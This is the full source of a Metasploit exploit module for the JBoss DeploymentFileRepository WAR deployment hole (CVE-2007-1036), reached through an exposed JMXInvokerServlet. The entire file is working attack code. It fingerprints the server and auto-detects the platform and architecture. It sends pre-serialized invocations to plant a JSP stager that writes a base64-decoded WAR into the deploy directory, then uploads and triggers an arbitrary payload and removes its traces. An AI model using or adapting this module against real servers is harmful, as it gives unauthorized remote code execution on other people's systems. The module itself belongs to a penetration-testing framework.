## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /JBoss/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)', 'Description' => %q{ This module can be used to execute a payload on JBoss servers that have an exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed to finally upload the selected payload to the target. The DeploymentFileRepository methods are only available on Jboss 4.x and 5.x. }, 'Author' => [ 'Patrick Hof', # Vulnerability discovery, analysis and PoC 'Jens Liebchen', # Vulnerability discovery, analysis and PoC 'h0ng10' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-1036' ], [ 'OSVDB', '33744' ], [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], ], 'DisclosureDate' => 'Feb 20 2007', 'Privileged' => true, 'Platform' => ['java', 'win', 'linux' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # do target detection but java meter by default [ 'Automatic', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, }, ], # # Platform specific targets # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]), ], self.class) end def check res = send_serialized_request('version.bin') if (res.nil?) or (res.code != 200) print_error("Unable to request version, returned http code is: #{res.code.to_s}") return Exploit::CheckCode::Unknown end # Check if the version is supported by this exploit return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/ return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/ return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target fail_with("Unable to automatically select a target") if not mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, stager_code => generate_stager(name_parameter, content_parameter) } print_status("Deploying stager") send_serialized_request('installstager.bin', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') # Generate the WAR with the payload which will be uploaded through the stager app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) war_data = payload.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s b64_war = Rex::Text.encode_base64(war_data) print_status("Uploading payload through stager") res = send_request_cgi({ 'uri' => stager_uri, 'method' => "POST", 'vars_post' => { name_parameter => app_base, content_parameter => b64_war } }, 20) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager print_status("Removing payload through stager") delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" res = send_request_cgi( {'uri' => delete_payload_uri, }) # Remove the stager print_status("Removing stager") send_serialized_request('removestagerfile.bin', replace_values) send_serialized_request('removestagerdirectory.bin', replace_values) handler end def generate_stager(name_param, content_param) war_file = rand_text_alpha(4+rand(4)) file_content = rand_text_alpha(4+rand(4)) jboss_home = rand_text_alpha(4+rand(4)) decoded_content = rand_text_alpha(4+rand(4)) path = rand_text_alpha(4+rand(4)) fos = rand_text_alpha(4+rand(4)) name = rand_text_alpha(4+rand(4)) file = rand_text_alpha(4+rand(4)) stager_script = <<-EOT <%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder" %> <% String #{file_content} = ""; String #{war_file} = ""; String #{jboss_home} = System.getProperty("jboss.server.home.dir"); if (request.getParameter("#{content_param}") != null){ try { #{file_content} = request.getParameter("#{content_param}"); #{war_file} = request.getParameter("#{name_param}"); byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content}); String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war"; FileOutputStream #{fos} = new FileOutputStream(#{path}); #{fos}.write(#{decoded_content}); #{fos}.close(); } catch(Exception e) {} } else { try{ String #{name} = request.getParameter("#{name_param}"); String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war"; new File(#{file}).delete(); } catch(Exception e) {} } %> EOT # The script must be exactly 810 characters long, otherwise we might have serialization issues # Therefore we fill the rest wit spaces spaces = " " * (810 - stager_script.length) stager_script << spaces end def send_serialized_request(file_name , replace_params = {}) path = File.join( Msf::Config.install_root, "data", "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } replace_params.each { |key, value| data.gsub!(key, value) } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => data, 'headers' => { 'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation', 'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' } }, 25) if (not res) or (res.code != 200) print_error("Failed: Error requesting preserialized request #{file_name}") return nil end res end def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| if (verb == "POST") res = send_request_cgi( { 'uri' => uri, 'method' => verb, 'data' => data }, 5) else uri += "?#{data}" unless data.nil? res = send_request_cgi( { 'uri' => uri, 'method' => verb }, 30) end msg = nil if (!res) msg = "Execution failed on #{uri} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "http request failed to #{uri} [#{res.code}]" elsif (res.code == 200) print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end if (attempt < num_attempts - 1) msg << ", retrying in 5 seconds..." print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else print_error(msg) return res end end end def auto_target print_status("Attempting to automatically select a target") plat = detect_platform() arch = detect_architecture() return nil if (not arch or not plat) # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } # no matching target found return nil end # Try to autodetect the target platform def detect_platform print_status("Attempting to automatically detect the platform") res = send_serialized_request("osname.bin") if (res.body =~ /(Linux|FreeBSD|Windows)/i) os = $1 if (os =~ /Linux/i) return 'linux' elsif (os =~ /FreeBSD/i) return 'linux' elsif (os =~ /Windows/i) return 'win' end end nil end # Try to autodetect the architecture def detect_architecture() print_status("Attempting to automatically detect the architecture") res = send_serialized_request("osarch.bin") if (res.body =~ /(i386|x86)/i) arch = $1 if (arch =~ /i386|x86/i) return ARCH_X86 # TODO, more end end nil end end